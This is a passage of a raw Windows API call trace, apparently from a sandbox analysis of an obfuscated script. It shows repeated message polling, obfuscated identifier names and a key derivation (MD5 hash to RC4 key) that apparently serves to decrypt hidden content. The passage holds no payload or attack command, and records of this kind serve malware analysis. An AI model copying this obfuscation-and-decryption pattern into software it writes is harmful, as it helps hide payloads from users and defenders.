lpMsg=0x5ef9bc) returned 0 [0078.575] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.575] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.580] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.580] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.580] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.585] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.585] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.586] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.591] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.591] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.591] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.596] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.596] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.596] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.601] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.601] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.601] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.605] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.606] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.606] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.610] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.616] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.616] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.616] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.621] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.621] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.621] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.625] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.626] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.626] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.630] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.631] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.631] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.635] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.635] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.635] CharUpperBuffW (in: lpsz="_S0XB90F6847EC557E33AF45D188DF40E553", cchLength=0x24 | out: lpsz="_S0XB90F6847EC557E33AF45D188DF40E553") returned 0x24 [0078.635] PeekMessageW (in: lpMsg=0x5ef744, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef744) returned 0 [0078.640] PeekMessageW (in: lpMsg=0x5ef744, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef744) returned 0 [0078.690] PeekMessageW (in: lpMsg=0x5ef744, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef744) returned 0 [0078.691] CharUpperBuffW (in: lpsz="_S0X6754396CF0678EFE96699CF2AAC9BD57", cchLength=0x24 | out: lpsz="_S0X6754396CF0678EFE96699CF2AAC9BD57") returned 0x24 [0078.691] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.691] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.691] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.691] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.691] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.692] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.692] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.692] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.711] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.711] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.711] PeekMessageW (in: lpMsg=0x5ef744, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef744) returned 0 [0078.712] PeekMessageW (in: lpMsg=0x5ef744, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef744) returned 0 [0078.712] CharUpperBuffW (in: lpsz="_S0X9A130944BC5ED49CF25A0ABCA629E5FB", cchLength=0x24 | out: lpsz="_S0X9A130944BC5ED49CF25A0ABCA629E5FB") returned 0x24 [0078.712] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.712] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.712] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.712] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.712] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.712] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.712] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.713] CharUpperBuffW (in: lpsz="_CRYPT__S0XC8217D78780E72F524EC8E3C8A152959", cchLength=0x2b | out: lpsz="_CRYPT__S0XC8217D78780E72F524EC8E3C8A152959") returned 0x2b [0078.713] PeekMessageW (in: lpMsg=0x5eef84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eef84) returned 0 [0078.713] CharUpperBuffW (in: lpsz="_S0XFEF25B33C8D60CC3EE98893C3D856F5E", cchLength=0x24 | out: lpsz="_S0XFEF25B33C8D60CC3EE98893C3D856F5E") returned 0x24 [0078.713] PeekMessageW (in: lpMsg=0x5eeb4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eeb4c) returned 0 [0078.713] PeekMessageW (in: lpMsg=0x5eef84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eef84) returned 0 [0078.713] PeekMessageW (in: lpMsg=0x5eef84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eef84) returned 0 [0078.713] PeekMessageW (in: lpMsg=0x5eef84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eef84) returned 0 [0078.713] CharUpperBuffW (in: lpsz="_S0X5D1574E9146FA08D0703DB81C21510C2", cchLength=0x24 | out: lpsz="_S0X5D1574E9146FA08D0703DB81C21510C2") returned 0x24 [0078.714] PeekMessageW (in: lpMsg=0x5eed0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eed0c) returned 0 [0078.714] PeekMessageW (in: lpMsg=0x5eed0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eed0c) returned 0 [0078.714] PeekMessageW (in: lpMsg=0x5eef84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eef84) returned 0 [0078.714] PeekMessageW (in: lpMsg=0x5eef84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eef84) returned 0 [0078.714] PeekMessageW (in: lpMsg=0x5eef84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eef84) returned 0 [0078.714] PeekMessageW (in: lpMsg=0x5eef84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eef84) returned 0 [0078.714] CharUpperBuffW (in: lpsz="_S0XF3480212E0F51234A3E6D08DDB50D175", cchLength=0x24 | out: lpsz="_S0XF3480212E0F51234A3E6D08DDB50D175") returned 0x24 [0078.714] PeekMessageW (in: lpMsg=0x5ee90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ee90c) returned 0 [0078.714] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.715] CryptAcquireContextA (in: phProv=0x5ee9b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5ee9b0*=0x679d40) returned 1 [0078.875] PeekMessageW (in: lpMsg=0x5eef84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eef84) returned 0 [0078.875] PeekMessageW (in: lpMsg=0x5eef84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eef84) returned 0 [0078.875] CharUpperBuffW (in: lpsz="_S0X47756EC5C5FD73FD84CEA64B25829197", cchLength=0x24 | out: lpsz="_S0X47756EC5C5FD73FD84CEA64B25829197") returned 0x24 [0078.875] PeekMessageW (in: lpMsg=0x5eed0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eed0c) returned 0 [0078.875] PeekMessageW (in: lpMsg=0x5eed0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eed0c) returned 0 [0078.876] PeekMessageW (in: lpMsg=0x5eef84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eef84) returned 0 [0078.876] PeekMessageW (in: lpMsg=0x5eef84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eef84) returned 0 [0078.876] PeekMessageW (in: lpMsg=0x5eef84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eef84) returned 0 [0078.876] CharUpperBuffW (in: lpsz="_S0XA60577F031C8B499DA0DEFE5CE3A8003", cchLength=0x24 | out: lpsz="_S0XA60577F031C8B499DA0DEFE5CE3A8003") returned 0x24 [0078.882] PeekMessageW (in: lpMsg=0x5eed0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eed0c) returned 0 [0078.897] PeekMessageW (in: lpMsg=0x5eed0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eed0c) returned 0 [0078.898] PeekMessageW (in: lpMsg=0x5eef84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eef84) returned 0 [0078.899] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.899] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.899] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.899] CharUpperBuffW (in: lpsz="_S0XC4FD912398EE22E2D27771CBC8825110", cchLength=0x24 | out: lpsz="_S0XC4FD912398EE22E2D27771CBC8825110") returned 0x24 [0078.899] PeekMessageW (in: lpMsg=0x5eecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eecb4) returned 0 [0078.899] PeekMessageW (in: lpMsg=0x5eecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eecb4) returned 0 [0078.899] PeekMessageW (in: lpMsg=0x5eecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eecb4) returned 0 [0078.899] PeekMessageW (in: lpMsg=0x5eecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eecb4) returned 0 [0078.899] PeekMessageW (in: lpMsg=0x5eecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eecb4) returned 0 [0078.899] PeekMessageW (in: lpMsg=0x5eecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eecb4) returned 0 [0078.900] CharUpperBuffW (in: lpsz="_CRYPT__S0XC8217D78780E72F524EC8E3C8A152959", cchLength=0x2b | out: lpsz="_CRYPT__S0XC8217D78780E72F524EC8E3C8A152959") returned 0x2b [0078.900] PeekMessageW (in: lpMsg=0x5eea3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eea3c) returned 0 [0078.900] CharUpperBuffW (in: lpsz="_S0XFEF25B33C8D60CC3EE98893C3D856F5E", cchLength=0x24 | out: lpsz="_S0XFEF25B33C8D60CC3EE98893C3D856F5E") returned 0x24 [0078.900] PeekMessageW (in: lpMsg=0x5ee604, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ee604) returned 0 [0078.900] PeekMessageW (in: lpMsg=0x5eea3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eea3c) returned 0 [0078.900] PeekMessageW (in: lpMsg=0x5eea3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eea3c) returned 0 [0078.900] CharUpperBuffW (in: lpsz="_S0XA60577F031C8B499DA0DEFE5CE3A8003", cchLength=0x24 | out: lpsz="_S0XA60577F031C8B499DA0DEFE5CE3A8003") returned 0x24 [0078.900] PeekMessageW (in: lpMsg=0x5ee7c4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ee7c4) returned 0 [0078.900] PeekMessageW (in: lpMsg=0x5ee7c4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ee7c4) returned 0 [0078.900] PeekMessageW (in: lpMsg=0x5eea3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eea3c) returned 0 [0078.900] PeekMessageW (in: lpMsg=0x5eecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eecb4) returned 0 [0078.901] PeekMessageW (in: lpMsg=0x5eecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eecb4) returned 0 [0078.901] CharUpperBuffW (in: lpsz="_S0XF3480212E0F51234A3E6D08DDB50D175", cchLength=0x24 | out: lpsz="_S0XF3480212E0F51234A3E6D08DDB50D175") returned 0x24 [0078.901] PeekMessageW (in: lpMsg=0x5ee63c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ee63c) returned 0 [0078.901] CharUpperBuffW (in: lpsz="_S0X37D8322BEC6A5294DB414339A4FCB2E2", cchLength=0x24 | out: lpsz="_S0X37D8322BEC6A5294DB414339A4FCB2E2") returned 0x24 [0078.901] PeekMessageW (in: lpMsg=0x5ee63c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ee63c) returned 0 [0078.901] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.901] CryptCreateHash (in: hProv=0x679d40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x5ee740 | out: phHash=0x5ee740) returned 1 [0078.902] PeekMessageW (in: lpMsg=0x5eecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eecb4) returned 0 [0078.902] PeekMessageW (in: lpMsg=0x5eecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eecb4) returned 0 [0078.902] PeekMessageW (in: lpMsg=0x5eecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eecb4) returned 0 [0078.902] PeekMessageW (in: lpMsg=0x5eecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eecb4) returned 0 [0078.902] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0078.902] PeekMessageW (in: lpMsg=0x5eecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eecb4) returned 0 [0078.902] PeekMessageW (in: lpMsg=0x5eecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eecb4) returned 0 [0078.903] CharUpperBuffW (in: lpsz="_S0XF3480212E0F51234A3E6D08DDB50D175", cchLength=0x24 | out: lpsz="_S0XF3480212E0F51234A3E6D08DDB50D175") returned 0x24 [0078.903] PeekMessageW (in: lpMsg=0x5ee63c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ee63c) returned 0 [0078.903] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.903] CryptHashData (hHash=0x6b8e78, pbData=0x743498, dwDataLen=0x3, dwFlags=0x1) returned 1 [0078.903] PeekMessageW (in: lpMsg=0x5eecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eecb4) returned 0 [0078.903] PeekMessageW (in: lpMsg=0x5eecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eecb4) returned 0 [0078.903] PeekMessageW (in: lpMsg=0x5eecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eecb4) returned 0 [0078.903] CharUpperBuffW (in: lpsz="_S0XF3480212E0F51234A3E6D08DDB50D175", cchLength=0x24 | out: lpsz="_S0XF3480212E0F51234A3E6D08DDB50D175") returned 0x24 [0078.903] PeekMessageW (in: lpMsg=0x5ee63c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ee63c) returned 0 [0078.903] CharUpperBuffW (in: lpsz="_S0X37D8322BEC6A5294DB414339A4FCB2E2", cchLength=0x24 | out: lpsz="_S0X37D8322BEC6A5294DB414339A4FCB2E2") returned 0x24 [0078.904] PeekMessageW (in: lpMsg=0x5ee63c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ee63c) returned 0 [0078.904] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.904] CryptDeriveKey (in: hProv=0x679d40, Algid=0x6602, hBaseData=0x6b8e78, dwFlags=0x1, phKey=0x5ee740 | out: phKey=0x5ee740*=0x6b8eb8) returned 1 [0078.905] PeekMessageW (in: lpMsg=0x5eecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eecb4) returned 0 [0078.905] PeekMessageW (in: lpMsg=0x5eecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eecb4) returned 0 [0078.905] PeekMessageW (in: lpMsg=0x5eecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eecb4) returned 0 [0078.905] PeekMessageW (in: lpMsg=0x5eecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eecb4) returned 0 [0078.905] PeekMessageW (in: lpMsg=0x5eecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eecb4) returned 0 [0078.906] PeekMessageW (in: lpMsg=0x5eecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eecb4) returned 0 [0078.906] CharUpperBuffW (in: lpsz="_S0XF3480212E0F51234A3E6D08DDB50D175", cchLength=0x24 | out: lpsz="_S0XF3480212E0F51234A3E6D08DDB50D175") returned 0x24 [0078.906] PeekMessageW (in: lpMsg=0x5ee7a4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ee7a4) returned 0 [0078.906] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.906] CryptDestroyHash (hHash=0x6b8e78) returned 1 [0078.906] PeekMessageW (in: lpMsg=0x5eecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eecb4) returned 0 [0078.906] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.906] PeekMessageW (in: 